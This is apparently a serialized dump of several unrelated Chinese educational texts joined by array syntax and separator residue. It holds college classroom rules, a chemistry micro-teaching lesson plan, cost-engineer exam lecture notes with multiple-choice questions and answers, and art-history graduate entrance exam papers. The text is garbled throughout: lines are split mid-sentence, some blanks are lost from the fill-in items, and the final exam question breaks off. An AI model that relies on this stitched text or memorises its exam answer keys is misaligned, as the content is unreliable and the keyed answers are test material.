@#@@#@5、上课时，班干部主动协助任课教师进行课堂考勤，如有同学缺课，及时了解缺席同学情况和理由，并将有关情况及时通报班主任或学院。

@#@班干部认真做好缺课情况的登记上报工作。

@#@@#@6、在校期间，积极参加学校组织的教育教学活动，做到有事必须先办理请假手续，不无故缺席。

@#@发现学生失踪或精神异常时立即报告学院辅导员、班主任，同时上报系部领导。

@#@@#@7、不带早餐进教室，不在教室穿拖鞋、背心、吸烟、睡觉。

@#@严格执行教室卫生清洁制度，保持教室内的清洁整齐。

@#@@#@8、自觉完成教师布置的作业，在教室进行自习时，不高声谈话、喧哗，不放收音机、录音机等，不妨碍他人学习。

@#@@#@9、学生公寓晚上熄灯（或11点）以后，不高声喧哗，不妨碍他人休息，保证第二天有充足的精力投入学习。

@#@@#@";i:

8;s:

1779:

"微格教学教案（10分钟）@#@设计者：

@#@李静教学对象：

@#@中学生@#@科目：

@#@初中化学课题：

@#@化学式@#@教学目标@#@知识与技能@#@1、学习化学式的定义@#@2、了解化学式的含义@#@过程与方法@#@　1.运用科学方法来学习化学知识培养学生分析问题、归纳整理、@#@2.培养学生的思维能力和对知识形成规律性认识的能力。

@#@@#@情感态度与价值观@#@

（1）激发兴趣，培养学习的自觉性和主动性@#@

（2）培养严谨务实的科学作风。

@#@@#@时间分配@#@教师的教学行为（提问、讲解等内容）@#@教师应用的教学技能@#@学生的学习行为@#@需准备的教学媒体@#@2min@#@复习什么叫元素？

@#@用什么来表示？

@#@元素符号的含义是什么？

@#@@#@引导和提问@#@积极思考，回答@#@讲解：

@#@元素是具有相同核电荷数的同一类原子的总称@#@用元素符号表示@#@含义是既可表示一种元素，又可表示该元素的一个原子@#@回忆，思考，回答@#@PPT@#@板书：

@#@课题四化学式@#@PPT@#@1min@#@化学式的定义@#@讲解@#@思考，讨论@#@PPT@#@板书：

@#@化学式的定义：

@#@用元素符号表示物质组成的式子。

@#@@#@确认，讲解@#@2min@#@化学式的含义@#@讲解@#@回想，思考@#@PPT@#@板书：

@#@@#@化学式的含义：

@#@宏观：

@#@

（1）表示一种物质

（2）表示该物质的元素组成@#@微观：

@#@

（1）表示该物质的一个分子@#@

（2）表示该物质一个分子的构成。

@#@@#@@#@板书，讲解@#@PPT@#@5min@#@有关化学式含义的习题，帮助学生巩固这节课的知识。

@#@@#@讲解@#@思考，回答@#@";i:

9;s:

27541:

"全国造价师《建设工程造价管理》精讲讲义148页全套@#@ @#@@#@ @#@@#@造价工程师@#@《建设工程管理》精讲课讲义@#@目录1@#@造价管理（主讲：

@#@朱俊文）第一讲第一章第一、二节4@#@第一章工程造价管理及其基本制度4@#@第一节工程造价的基本内容4@#@第二节工程造价管理的组织和内容5@#@造价管理（主讲：

@#@朱俊文）第二讲第一章第三-五节7@#@第三节工程造价专业人员管理制度7@#@第四节工程造价咨询管理制度10@#@第五节工程造价管理的发展15@#@造价管理（主讲：

@#@朱俊文）第三讲第二章第一节15@#@第二章相关法律法规15@#@第一节建筑法及相关条例16@#@造价管理（主讲：

@#@朱俊文）第四讲第二章第二节20@#@第二节招标投标法及其实施条例20@#@造价管理（主讲：

@#@朱俊文）第五讲第二章第三节

（1）25@#@第三节合同法及价格法26@#@造价管理（主讲：

@#@朱俊文）第六讲第二章第三节

（2）30@#@造价管理（主讲：

@#@朱俊文）第七讲第三章第一节33@#@第三章工程项目管理33@#@第一节工程项目管理概述33@#@造价管理（主讲：

@#@朱俊文）第八讲第三章第二节

（1）38@#@第二节工程项目的组织38@#@造价管理（主讲：

@#@朱俊文）第九讲第三章第二节

（2）39@#@造价管理（主讲：

@#@朱俊文）第十讲第三章第三节43@#@第三节工程项目的计划与控制43@#@造价管理（主讲：

@#@朱俊文）第十一讲第三章第四节48@#@第四节流水施工组织方法48@#@造价管理（主讲：

@#@朱俊文）第十二讲第三章第五节

（1）53@#@第五节工程网络计划技术53@#@造价管理（主讲：

@#@朱俊文）第十三讲第三章第五节

（2）55@#@造价管理（主讲：

@#@朱俊文）第十五讲第三章第五节（4）61@#@第六节工程项目风险管理65@#@造价管理（主讲：

@#@朱俊文）第十六讲第四章第一节

（1）66@#@第四章工程经济66@#@第一节资金的时间价值及其计算66@#@造价管理（主讲：

@#@朱俊文）第十七讲第四章第一节

（2）68@#@造价管理（主讲：

@#@朱俊文）第十八讲第四章第二节

（1）73@#@第二节投资方案经济效果的评价73@#@造价管理（主讲：

@#@朱俊文）第十九讲第四章第二节

（2）78@#@造价管理（主讲：

@#@朱俊文）第二十讲第四章第二节（3）85@#@造价管理（主讲：

@#@朱俊文）第二十一讲第四章第二节（4）89@#@————————第2页共148页————————@#@造价管理（主讲：

@#@朱俊文）第二十二讲第四章第三、四节93@#@第三节价值工程93@#@第四节工程寿命周期成本分析102@#@造价管理（主讲：

@#@朱俊文）第二十三讲第五章第一节104@#@第五章工程项目投融资104@#@第一节工程项目资金来源104@#@造价管理（主讲：

@#@朱俊文）第二十四讲第五章第二节111@#@第二节工程项目融资111@#@造价管理（主讲：

@#@朱俊文）第二十五讲第五章第三节116@#@第三节与工程项目有关的税收及保险规定116@#@造价管理（主讲：

@#@朱俊文）第二十六讲第六章第一、二节122@#@第六章工程建设全过程造价管理122@#@第一节决策阶段造价管理122@#@第二节设计阶段造价管理129@#@造价管理（主讲：

@#@朱俊文）第二十七讲第六章第三节131@#@第三节发承包阶段造价管理131@#@造价管理（主讲：

@#@朱俊文）第二十八讲第六章第四节139@#@第四节施工阶段造价管理139@#@ @#@@#@造价管理第一讲第一章第一、二节@#@ @#@@#@一、工程造价及其计价特征@#@

（一）工程造价的含义@#@第一章工程造价管理及其基本制度第一节工程造价的基本内容@#@含义一：

@#@从投资者（业主）的角度分析，工程造价是指建设一项工程预期开支或实际开支的全部固定资产投资费用。

@#@@#@含义二：

@#@从市场交易的角度分析，工程造价是指在工程发承包交易活动中所形成的建筑安装工程费用或建设工程总费用。

@#@@#@工程承发包价格是工程造价中一种重要的、也是较为典型的价格交易形式，是在建筑市场通过招标投标，由需求主体（投资者）和供给主体（承包商）共同认可的价格。

@#@@#@例：

@#@从投资者（业主）角度分析，工程造价是指建设一项工程预期或实际开支的（）。

@#@@#@A.全部建筑安装工程费用B.建设工程总费用C.全部固定资产投资费用D.建设工程动态投资费用答案：

@#@C@#@

（二）工程计价的特征@#@1.计价的单件性@#@2.计价的多次性@#@3.计价的组合性@#@4.计价方法的多样性@#@5.计价依据的复杂性例：

@#@工程项目的多次计价是一个（）的过程。

@#@@#@A.逐步分解和组合，逐步汇总概算造价B.逐步深化和细化，逐步接近实际造价@#@C.逐步分析和测算，逐步确定投资估算D.逐步确定和控制，逐步积累竣工结算价答案：

@#@B@#@例：

@#@建筑产品的单件性特点决定了每项工程造价都必须（）。

@#@A.分布组合B.分层组合C.多次计算D.单独计算答案：

@#@D@#@二、工程造价相关概念@#@

（一）静态投资与动态投资静态投资是指不考虑物价上涨、建设期贷款利息等影响因素的建设投资。

@#@静态投资包括：

@#@建筑@#@安装工程费、设备和工器具购置费、工程建设其他费、基本预备费，以及因工程量误差而引起的工程造价增减值等。

@#@@#@动态投资是指考虑物价上涨、建设期贷款利息等影响因素的建设投资。

@#@动态投资除包括静态投资外，还包括建设期贷款利息、涨价预备费等。

@#@相比之下，动态投资更符合市场价格运行机制，使@#@投资估算和控制更加符合实际。

@#@静态投资与动态投资密切相关。

@#@动态投资包含静态投资，静态投资是动态投资最主要的组成部@#@分，也是动态投资的计算基础。

@#@@#@例：

@#@某项目中建筑安装工程费用为560万元，设备工器具购置费用为330万元，工程建设其他@#@费用为133万元，基本预备费为102万元，涨价预备费55万元，建设期贷款利息为59万元（没有固定资产投资方向调节税），则静态投资为（）万元。

@#@@#@A.1023B.1125C.1180D.1239@#@答案：

@#@B例：

@#@按现行规定，建设项目静态投资包括（）。

@#@A.基本预备费B.因工程量误差引起的造价增长值@#@C.施工机械租赁费D.涨价预备费E.建设期贷款利息答案：

@#@ABC@#@

（二）建设项目总投资与固定资产投资建设项目按用途可分为生产性建设项目和非生产性建设项目。

@#@生产性建设项目总投资包括固定@#@资产投资和流动资产投资两部分；@#@非生产性建设项目总投资只包括固定资产投资，不含流动资产投资。

@#@建设项目总造价是指项目总投资中的固定资产投资总额。

@#@@#@例：

@#@生产性建设项目的总投资由（）两部分构成。

@#@@#@A.固定资产投资和流动资产投资B.有形资产投资和无形资产投资C.建筑安装工程费用和设备工器具购置费用D.建筑安装工程费用和工程建设其他费用答案：

@#@A@#@第二节工程造价管理的组织和内容@#@一、工程造价管理的基本内涵@#@

（二）建设工程全面造价管理按照国际工程造价管理促进会给出的定义，全面造价管理（TotalCostManagement,TCM）是指有@#@效地利用专业知识与技术，对资源、成本、盈利和风险进行筹划和控制。

@#@建设工程全面造价管理包括全寿命期造价管理、全过程造价管理、全要素造价管理和全方位造价管理。

@#@@#@1.全寿命期造价管理@#@建设工程全寿命期造价是指建设工程初始建造成本和建成后的日常使用成本之和，它包括建设前期、建设期、使用期及拆除期各个阶段的成本。

@#@@#@2.全过程造价管理全过程造价管理是指覆盖建设工程策划决策及建设实施各阶段的造价管理。

@#@包括：

@#@策划决策阶@#@段的项目策划、投资估算、项目经济评价、项目融资方案分析；@#@设计阶段的限额设计、方案比选、概预算编制；@#@招投标阶段的标段划分、发承包模式及合同形式的选择、招标控制价或标底编制；@#@施@#@工阶段的工程计量与结算、工程变更控制、索赔管理；@#@竣工验收阶段的结算与决算等。

@#@3.全要素造价管理控制建设工程造价不仅仅是控制建设工程本身的建造成本，还应同时考虑工期成本、质量成本、@#@安全与环境成本的控制，从而实现工程成本、工期、质量、安全、环境的集成管理。

@#@全要素造价管理的核心是按照优先性的原则，协调和平衡工期、质量、安全、环保与成本之间的对立统一关系。

@#@@#@4.全方位造价管理@#@建设工程造价管理不仅仅是业主或承包单位的任务，而应该是政府建设主管部门、行业协会、建没单位、设计单位、施工单位以及有关咨询机构的共同任务。

@#@@#@例：

@#@下列工作中，属于工程招投标阶段造价管理内容的是（）。

@#@A.承发包模式选择B.融资方案设计C.组织实施模式选择D.索赔方案设计答案：

@#@A@#@例：

@#@建设工程全要素造价管理是指要实现（）的集成管理。

@#@A.人工费、材料费、施工机具使用费B.直接成本、间接成本、规费、利润C.工程成本、工期、质量、安全、环境D.建筑安装工程费用、设备工器具费用、工程建设其他费用@#@答案：

@#@C二、工程造价管理的组织系统@#@

（一）政府行政管理系统@#@

（二）企事业单位管理系统@#@（三）行业协会管理系统例：

@#@我国工程造价管理组织的三个系统是（）。

@#@A.政府行政管理系统、企事业单位管理系统、行业协会管理系统B.国务院建设行政管理系统、省级行政管理系统、行业协会管理系统C.国务院建设行政管理系统、省级行政管理系统、企事业单位管理系统、D.国务院建设行政管理系统、企事业单位管理系统、行业协会管理系统答案：

@#@A@#@三、工程造价管理的主要内容及原则@#@

（一）工程造价管理的主要内容@#@

（1）工程项目策划阶段：

@#@按照有关规定编制和审核投资估算，经有关部门批准，即可作为拟建工程项目策划决策的控制造价。

@#@基于不同的投资方案进行经济评价，作为项目决策的重要依据。

@#@@#@

（2）工程设计阶段：

@#@对于政府投资工程而言，经有关部门批准的工程概算，将作为拟建工程项目造价的最高限额。

@#@@#@例：

@#@下列工作中，属于工程项目策划阶段造价管理内容的是（）。

@#@A.投资方案经济评价B.编制工程量清单C.审核工程概算D.确定投标报价答案：

@#@A@#@例：

@#@对于政府投资项目而言，作为拟建项目工程造价的最高限额的是经有关部门批准的（）。

@#@@#@A.投资估算B.初步设计总概算C.施工图预算D.承包合同价答案：

@#@B@#@

（二）工程造价管理的基本原则实施有效的工程造价管理，应遵循以下三项原则：

@#@@#@

（1）以设计阶段为重点的全过程造价管理。

@#@工程造价管理的关键在于前期决策和设计阶段，而在项目投资决策后，控制工程造价的关键就在于设计。

@#@@#@

（2）主动控制与被动控制相结合。

@#@@#@（3）技术与经济相结合。

@#@从组织上采取的措施，包括明确项目组织结构，明确造价控制者及其任务，明确管理职能分工；@#@从技术上采取措施，包括重视设计多方案选择，严格审查监督初步设计、技术设计、施工图设计、施工组织设计，深入技术领域研究节约投资的可能性；@#@从经济上采取措施，包括动态地比较造价的计划值和实际值，严格审核各项费用支出，采取对节约投资的有力奖励措施等。

@#@@#@例：

@#@为了有效地控制工程造价，应将工程造价管理的重点放在工程项目的（）阶段。

@#@@#@A.初步设计和招标B.施工图设计和预算C.策划决策和设计@#@D.方案设计和概算答案：

@#@C@#@例：

@#@为了有效地控制建设工程造价，造价工程师可采取的组织措施是（）。

@#@A.重视工程设计多方案比选B.严格审查施工组织设计C.严格审核各项费用支出D.明确工程造价管理职能分工@#@答案：

@#@D@#@造价管理（主讲：

@#@朱俊文）第二讲第一章第三-五节@#@第三节工程造价专业人员管理制度@#@

（2）注册条件与注册程序。

@#@@#@1）注册条件：

@#@@#@①取得造价工程师执业资格；@#@@#@②受聘于一个工程造价咨询企业或者工程建设领域的建设、勘察设计、施工、招标代理、工程监理、工程造价管理等单位；@#@@#@③没有不予注册的情形。

@#@@#@2）注册程序：

@#@造价工程师注册实施电子化申报和审批，取得造价工程师执业资格证书的人员申请注册的，应通过全国造价工程师管理系统上传相关材料，除注册申请表外，不再提供书面材料。

@#@上传数据时，也无须再提供人事代理证明和社会保险证明扫描件。

@#@@#@3）初始注册：

@#@取得造价工程师执业资格证书的人员，可自资格证书签发之日起1年内申请初始@#@注册。

@#@逾期未申请者，须符合继续教育的要求后方可申请初始注册。

@#@初始注册的有效期为4年。

@#@@#@4）延续注册：

@#@注册造价工程师注册有效期满需继续执业的，应当在注册有效期满30日前，按@#@照规定的程序申请延续注册。

@#@延续注册的有效期为4年。

@#@@#@5）变更注册：

@#@变更注册后延续原注册有效期。

@#@@#@6）注册证书和执业印章：

@#@注册证书和执业印章是注册造价工程师的执业凭证，应当由注册造价工程师本人保管、使用。

@#@@#@7）不予注册的情形：

@#@有下列情形之一的，不予注册：

@#@@#@①不具有完全民事行为能力的；@#@@#@②申请在两个或者两个以上单位注册的；@#@@#@③未达到造价工程师继续教育合格标准的；@#@@#@④前一个注册期内造价工作业绩达不到规定标准或未办理暂停执业手续而脱离工程造价业务岗位的；@#@@#@8）注册证书失效、撤销注册及注销注册：

@#@@#@①注册证书失效。

@#@注册造价工程师有下列情形之一的，其注册证书失效：

@#@a.已与聘用单位解除劳动合同且未被其他单位聘用的；@#@b.注册有效期满且未延续注册的；@#@c.死亡或者不具有完全民事行为能力的；@#@@#@d.其他导致注册失效的情形。

@#@@#@②撤销注册：

@#@有下列情形之一的，注册机关或其上级行政机关依据职权或者根据利害关系人的请求，可以撤销注册造价工程师的注册：

@#@@#@a.行政机关工作人员滥用职权、玩忽职守作出准予注册许可的；@#@b.超越法定职权作出准予注册许可的；@#@c.违反法定程序作出准予注册许可的；@#@@#@————————第7页共148页————————@#@d.对不具备注册条件的申请人作出准予注册许可的；@#@e.依法可以撤销注册的其他情形。

@#@同时，申请人以欺骗、贿赂等不正当手段获准注册的，应当予以撤销。

@#@@#@③注销注册：

@#@有下列情形之一的，由注册机关办理注销注册手续，收回注册证书和执业印章或者公告其注册证书和执业印章作废：

@#@@#@a.有注册证书失效情形发生的；@#@@#@b.依法被撤销注册的；@#@c.依法被吊销注册证书的；@#@d.受到刑事处罚的；@#@e.法律、法规规定应当注销注册的其他情形。

@#@9）重新注册@#@10）暂停执业：

@#@在注册有效期内，注册造价工程师因特殊原因需要暂停执业的，应当到注册初@#@审机构办理暂停执业手续，并交回注册证书和执业印章。

@#@例：

@#@根据《注册造价师工程管理办法》，取得造价工程师执业资格证书的人员，自资格证书签@#@发之日起1年后申请初始注册的，应当提供（）证明。

@#@@#@A.工程造价咨询业绩B.社会基本养老保险C.医疗保险D.继续教育合格答案：

@#@D@#@例：

@#@按照我国有关规定，造价工程师申请变更注册，注册初审机关应当自受理申请之日起（）@#@日内审查完毕，并将材料和初审意见报注册机关。

@#@@#@A.5B.10C.15D.20@#@答案：

@#@A@#@例：

@#@根据《注册造价工程师管理办法》，注册造价工程师执业刚满1年变更注册单位，则该注册造价工程师在新单位的注册有效期为（）年。

@#@@#@A.1B.2C.3D.4@#@答案：

@#@C例：

@#@根据《注册造价工程师管理办法》，注册造价工程师的执业凭证是（）。

@#@A.注册证书和执业印章B.执业印章和执业资格证书C.执业资格证书和职称证书D.职称证书和注册证书@#@答案：

@#@A例：

@#@下列关于造价工程师初始注册的说法中，正确的是（）。

@#@A.初始注册申请者应提交工程造价岗位工作证明B.初始注册申请者应当向聘用单位所在地县级主管部门提出申请C.取得资格证书之日起1年后不得申请注册@#@D.初始注册的有效期为3年答案：

@#@A@#@例：

@#@按照我国相关规定，造价工程师注册证书失效的情形包括（）。

@#@@#@A.注册有效期满且未延续注册的B.已与聘用单位解除劳动合同且未被其他单位聘用的C.在执业的过程中索取贿赂的D.同时在两个以上单位执业的E.以个人名义承接造价业务的答案：

@#@AB例：

@#@根据《注册造价工程师管理办法》，对于已取得造价工程师注册证书人员，发现有（）的@#@情形，应撤销其注册。

@#@@#@A.受到刑事处罚B.以不正当手段获准注册@#@C.死亡或者丧失民事行为能力D.已与聘用单位解除合同且未被其他单位聘用答案：

@#@B@#@————————第8页共148页————————@#@3.执业@#@

（1）注册造价工程师的执业范围：

@#@@#@1）建设项目建议书、可行性研究投资估算的编制和审核，项目经济评价，工程概算、预算、结算，竣工结（决）算的编制和审核；@#@@#@2）工程量清单、标底（或者控制价）、投标报价的编制和审核，工程合同价款的签订及变更、调整，工程款支付与工程索赔费用的计算；@#@@#@3）建设项目管理过程中设计方案的优化、限额设计等工程造价分析与控制，工程保险理赔的核查；@#@@#@4）工程经济纠纷的鉴定。

@#@例：

@#@根据《注册造价工程师管理办法》，注册造价工程师的执业范围有（）。

@#@@#@A.工程概算的审核和批准B.工程量清单的编制和审核C.工程合同价款的变更和调整D.工程索赔费用的分析和计算E.工程经济纠纷的调解和裁定@#@答案：

@#@BCD@#@

（2）注册造价工程师的权利：

@#@@#@1）使用注册造价工程师名称；@#@@#@2）依法独立执行工程造价业务；@#@@#@3）在本人执业活动中形成的工程造价成果文件上签字并加盖执业印章；@#@@#@4）发起设立工程造价咨询企业；@#@@#@5）保管和使用本人的注册证书和执业印章；@#@@#@6）参加继续教育。

@#@@#@（3）注册造价工程师的义务：

@#@@#@1）遵守法律、法规和有关管理规定，恪守职业道德；@#@@#@2）保证执业活动成果的质量；@#@@#@3）接受继续教育，提高执业水平；@#@@#@4）执行工程造价计价标准和计价方法；@#@@#@5）与当事人有利害关系的，应当主动回避；@#@@#@6）保守在执业中知悉的国家秘密和他人的商业、技术秘密。

@#@例：

@#@根据《注册造价工程师管理办法》，注册造价工程师的权利有（）。

@#@A.发起设立工程造价咨询企业@#@B.保管和使用本人的注册证书C.执行工程计价标准和方法D.参加注册造价工程师继续教育E.保守执业中知悉的商业秘密答案：

@#@ABD@#@例：

@#@根据《注册造价工程师管理办法》，注册造价工程师的义务有（）。

@#@@#@A.执行工程计价标准B.接受继续教育C.依法独立执行工程造价义务D.发起设立工程造价咨询企业E.保守执业中知悉的技术秘密答案：

@#@ABE@#@4.继续教育@#@注册造价工程师在每一注册有效期内应接受必修课和选修课各为60学时的继续教育。

@#@继续教育@#@————————第9页共148页————————@#@达到合格标准的，颁发继续教育合格证明。

@#@注册造价工程师继续教育由中国建设工程造价管理协会负责组织、管理、监督和检查。

@#@@#@5.法律责任@#@

（1）对擅自从事工程造价业务的处罚。

@#@未经注册，以注册造价工程师的名义从事工程造价业务活动的，所签署的工程造价成果文件无效，由县级以上地方人民政府建设行政主管部门或者其他有关专业部门给予警告，责令停止违法活动，并可处以1万元以上、3万元以下的罚款。

@#@@#@

（2）对注册违规的处罚。

@#@@#@1）隐瞒有关情况或者提供虚假材料申请造价工程师注册的，不予受理或者不予注册，并给予警告，申请人在1年内不得再次申请造价工程师注册。

@#@@#@2）聘用单位为申请人提供虚假注册材料的，由县级以上地方人民政府建设行政主管部门或者其他有关专业部门给予警告，并可处以1万元以上、3万元以下的罚款。

@#@@#@3）以欺骗、贿赂等不正当手段取得造价工程师注册的，由注册机关撤销其注册，3年内不得再@#@次申请注册，并由县级以上地方人民政府建设主管部门处以罚款。

@#@其中，没有违法所得的，处以1@#@万元以下罚款；@#@有违法所得的，处以违法所得3倍以下且不超过3万元的罚款。

@#@@#@4）未按照规定办理变更注册仍继续执业的，由县级以上地方人民政府建设主管部门或者有关专业部门责令限期改正：

@#@逾期不改的，可处以5000元以下的罚款。

@#@@#@（3）对执业活动违规的处罚。

@#@注册造价工程师有下列行为之一的，由县级以上地方人民政府建设主管部门或者有关专业部门给予警告，责令改正。

@#@没有违法所得的，处以1万元以下罚款；@#@有违@#@法所得的，处以违法所得3倍以下且不超过3万元的罚款：

@#@@#@1）不履行注册造价工程师义务；@#@@#@2）在执业过程中索贿、受贿或者谋取合同约定费用外的其他利益；@#@@#@3）在执业过程中实施商业贿赂；@#@@#@4）签署有虚假记载、误导性陈述的工程造价成果文件；@#@@#@5）以个人名义承接工程造价业务；@#@@#@6）允许他人以自己名义从事工程造价业务；@#@@#@7）同时在两个或者两个以上单位执业；@#@@#@8）涂改、倒卖、出租、出借或以其他形式非法转让注册证书或执业印章；@#@@#@9）法律、法规、规章禁止的其他行为。

@#@例：

@#@根据《注册造价工程师管理办法》，聘用单位为申请人提供虚假注册材料的，有关部门给@#@予的处罚是（）。

@#@@#@A.警告，并可处以1万元以上3万元以下的罚款@#@B.警告，并可处以1万元以下的罚款@#@C.责令限期整改，并可处以1万元以上3万元以下的罚款@#@D.责令限期整改，并可处以1万元以下的罚款答案：

@#@A@#@例：

@#@根据《注册造价工程师管理办法》，提供虚假材料申请造价工程师注册的，在（）年内不@#@得再次申请造价工程师注册。

@#@@#@A.1B.2C.3D.4@#@答案：

@#@A@#@第四节工程造价咨询管理制度@#@一、工程造价咨询企业资质管理@#@

（一）资质等级标准@#@1.甲级工程造价咨询企业资质标准@#@————————第10页共148页————————@#@

（1）已取得乙级工程造价咨询企业资质证书满3年；@#@@#@

（2）企业出资人中注册造价工程师人数不低于出资人总人数的60%，且其出资额不低于企业注册资本总额的60%；@#@@#@（3）技术负责人是注册造价工程师，并具有工程或工程经济类高级专业技术职称，且从事工程造价专业工作15年以上；@#@@#@（4）专职从事工程造价专业工作的人员（以下简称专职专业人员）不少于20人。

@#@其中，具有@#@工程或者工程经济类中级以上专业技术职称的人员不少于16人，注册造价工程师不少于10人，其他人员均需要具有从事工程造价专业工作的经历；@#@@#@（5）企业与专职专业人员签订劳动合同，且专职专业人员符合国家规定的职业年龄（出资人除外）；@#@@#@（6）专职专业人员人事档案关系由国家认可的人事代理机构代为管理；@#@@#@（7）企业注册资本不少于人民币100万元；@#@@#@（8）企业近3年工程造价咨询营业收入累计不低于人民币500万元；@#@@#@（9）具有固定的办公场所，人均办公建筑面积不少于10㎡；@#@@#@（10）技术档案管理制度、质量控制制度、财务管理制度齐全；@#@@#@（11）企业为本单位专职专业人员办理的社会基本养老保险手续齐全；@#@@#@（12）在申请核定资质等级之日前3年内无违规行为。

@#@@#@2.乙级工程造价咨询企业资质标准@#@

（1）企业出资人中注册造价工程师人数不低于出资人总人数的60%，且其出资额不低于注册资本总额的60%。

@#@@#@

（2）技术负责人是注册造价工程师，并具有工程或工程经济类高级专业技术职称，且从事工程造价专业工作10年以上；@#@@#@（3）专职专业人员不少于12人，其中，具有工程或者工程经济类中级以上专业技术职称的人@#@员不少于8人，注册造价工程师不少于6人，其他人员均需要具有从事工程造价专业工作的经历；@#@@#@（4）企业与专职专业人员签订劳动合同，且专职专业人员符合国家规定的职业年龄（出资人除外）；@#@@#@（5）专职专业人员人事档案关系由国家认可的人事代理机构代为管理；@#@@#@（6）企业注册资本不少于人民币50万元；@#@@#@（7）具有固定的办公场所，人均办公建筑面积不少于10m2；@#@@#@（8）技术档案管理制度、质量控制制度、财务管理制度齐全；@#@@#@（9）企业为本单位专职专业人员办理的社会基本养老保险手续齐全；@#@@#@（10）暂定期内工程造价咨询营业收入累计不低于人民币50万元；@#@@#@（11）";i:

10;s:

25510:

"一，填空（110）@#@1，原始美术包括三个时期：

@#@——，——、——@#@2，金字塔在古埃及是作为——而建造的@#@3，雅典卫城的建筑和大部分雕刻都是出自著名的艺术家——之手@#@4，意大利文艺复兴三杰是——、——、——@#@5，法国印象派的名字是——的作品——而得名@#@二，选择（210）@#@1，吉库拉塔属于——时期的建筑形式@#@A古埃及B苏美尔阿卡德C亚述D古希腊@#@2，埃尔.格列柯是——文艺复兴时期的艺术家@#@A法国B尼德兰C希腊D西班牙@#@3，法国画家米勒是19世纪——画派的画家@#@A古典主义B新古典主义C浪漫主义D批判现实主义@#@4，印象主义是1874---1886年一共举行——次展览@#@A5B6C7D8@#@5，以马蒂斯为首的野兽派产生于——年@#@A1904B1905C1907D1912@#@三，判断（420）@#@1，油画技术最早形成于文艺复兴时期的威尼斯@#@2，最早的美术学院是波伦亚美术学院创建于16世纪末@#@3，凡戴克是17世纪荷兰的著名画家@#@4，借里柯的《梅杜萨之筏》被视为浪漫主义的伟大宣言@#@5，列宾的艺术活动代表了巡回画派现实主义艺术的最高成就@#@四，名词解释（520）@#@多利亚式哥特式波德格涅亚未来主义@#@一， @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@论述@#@1，以鲁本斯和伦勃朗的艺术为例分析佛兰德斯与荷兰画派的区别@#@2，分析表现主义产生的原因及特点@#@2008年中央美术学院硕士研究生招生考试试题-外国美术史@#@一，填空（110）@#@1，中石器时代的岩画主要分布在北欧和西班牙的地区。

@#@@#@2，和卢克索神庙是古埃及新王国时期的著名建筑。

@#@@#@3，雅典卫城的主要建筑是献给雅典娜女神的。

@#@@#@4，《尼奥贝群像》是雅典晚期的作品的摹制品。

@#@@#@5，是保存到今天唯一的古代骑马像。

@#@@#@1，《天上的爱与人间的爱》是威尼斯画家的作品。

@#@@#@2，考尔夫和贝耶林是世纪著名的荷兰静物画家。

@#@@#@3，塞维利亚美术学院的第一任院长是。

@#@@#@4，在历史画创作中体现了巡回展览派的最高原则。

@#@@#@5，1956年，汉密尔顿创作的被认为是波普艺术的开端。

@#@@#@二，选择（210）@#@1，伊斯塔尔门是两河地区时期的作品@#@A，苏美尔-阿卡得B，古巴比伦C亚述D新巴比伦@#@2，“西面工程”属于美术作品。

@#@@#@A墨洛温王朝B加洛林王朝C奥托王朝D神圣罗马帝国@#@3，《愚人船》是尼德兰画家的作品。

@#@@#@A博鲁盖尔B博斯C杨凡艾克D维登@#@4，洛可可风格盛行的时代，在1761年沙龙展出了风俗画《乡村的订婚》@#@A格勒兹B夏尔丹C华托D布歇@#@5，画家从1874——1886年一共参加了八次印象派画展@#@A莫奈B德加C毕沙罗D西斯莱@#@三，判断（420）@#@1，真正罗马式风格的形成以法国圣赛尔南大教堂的建成为标志@#@2，安东尼凡代克曾任英王查理二世的宫廷画家@#@3，18世纪，风景画在荷兰形成独立画科@#@4，法尔科内是18世纪洛可可风格在雕塑领域的杰出代表@#@5，柏林的《狂飙》杂志社和同名画廊是德国表现主义活动的一个重要据点@#@四，名词解释（520）@#@母神雕像样式主义伦敦印象派新客观社@#@五，论述题（2040）@#@1，以米勒的《拾穗者》和马奈的《草地上的午餐》为例分析批判现实主义与印象主意风格的区别与联系@#@2，试分析达达主义产生的历史原@#@2009年中央美术学院硕士研究生招生考试试题-外国美术史@#@一，填空（315）@#@1，希腊化时期的重要作品以古希腊神话传说特洛伊战争中的一个情节为主题，表现了人对四王的抗争。

@#@@#@2，巴黎圣母院是风格的建筑@#@3，《马拉之死》是法国新古典主义画家的代表作品@#@4，17世纪荷兰小画派画家的作品《戴珍珠的女孩》被后人称为“北方的蒙娜丽莎”@#@5，1917年，达达主义艺术家采用了现成品创作了《泉》@#@二，选择题（315）@#@1，德国艺术家弗里德里希的风景祭坛画《山中十字架》属于（）艺术风格的代笔作品@#@A巴洛克B新古典主义C浪漫主义D现实主义@#@2，17世纪佛兰德斯画家（）对英国肖像画产生过重要影响@#@A凡.代克B约丹斯C博鲁盖尔D泰尼尔@#@3《伊凡.雷帝杀子》是19世纪俄罗斯艺术家（）的代表作@#@A苏里科夫B列宾C希施金D列维坦@#@4，《梅杜萨之筏》是19世纪初法国浪漫主义艺术家（）的代表作@#@A热里科B德拉克洛瓦C吉洛德D卢梭@#@5，《田园合奏》是文艺复兴时期意大利画家（）的作品@#@A波提切利B乔尔乔涅C体香D丁托列托@#@三，判断题（416）@#@1，古埃及的金字塔主要建于新王国时期@#@2，法国新古典主义艺术家勒布伦夫人的著名作品有《母女图》@#@3，马奈不是印象派团体的艺术家@#@4，波普艺术最早出现在美国@#@四，名词解释（714）@#@巴洛克抽象表现主义@#@五，论述题（2040）@#@1，以大卫的《贺加斯兄弟的宣誓》和戈雅的《1808年5月3日夜枪杀起义者》为例，分析和比较两位艺术家的艺术风格和思想观念。

@#@@#@2，阐述“爱的花园”这个主题在西方艺术史上的意义、发展和演变。

@#@（提示：

@#@以体香、鲁本斯、华托和马蒂斯的作品为例）@#@2000年中央美术学院硕士研究生招生考试试题-美术理论@#@考研题库2010-08-2809:

@#@57:

@#@05阅读181评论0 @#@ @#@字号：

@#@大中小 @#@订阅@#@一、填空（共10空，每空1分）@#@1.1750年，______国人_______建立了作为一门独立学科的“美学”（Aesthetica），该词的原意为_______。

@#@@#@2.马克思在_______一书中提出了“美的规律”的学说，他还提出，人通过生产劳动实践，使自然成为_______。

@#@@#@3.撰写《艺术与视知觉》一书的作者是_______，他提出了_______学说，这种学说属于_______心理学流派。

@#@@#@4.1985年7期《江苏画刊》发表了_____的《当代中国画之我见》一文，提出_____的论题。

@#@@#@二、选择（共10分，每题2分）@#@1.提出“艺术起源于游戏”学说的理论家是：

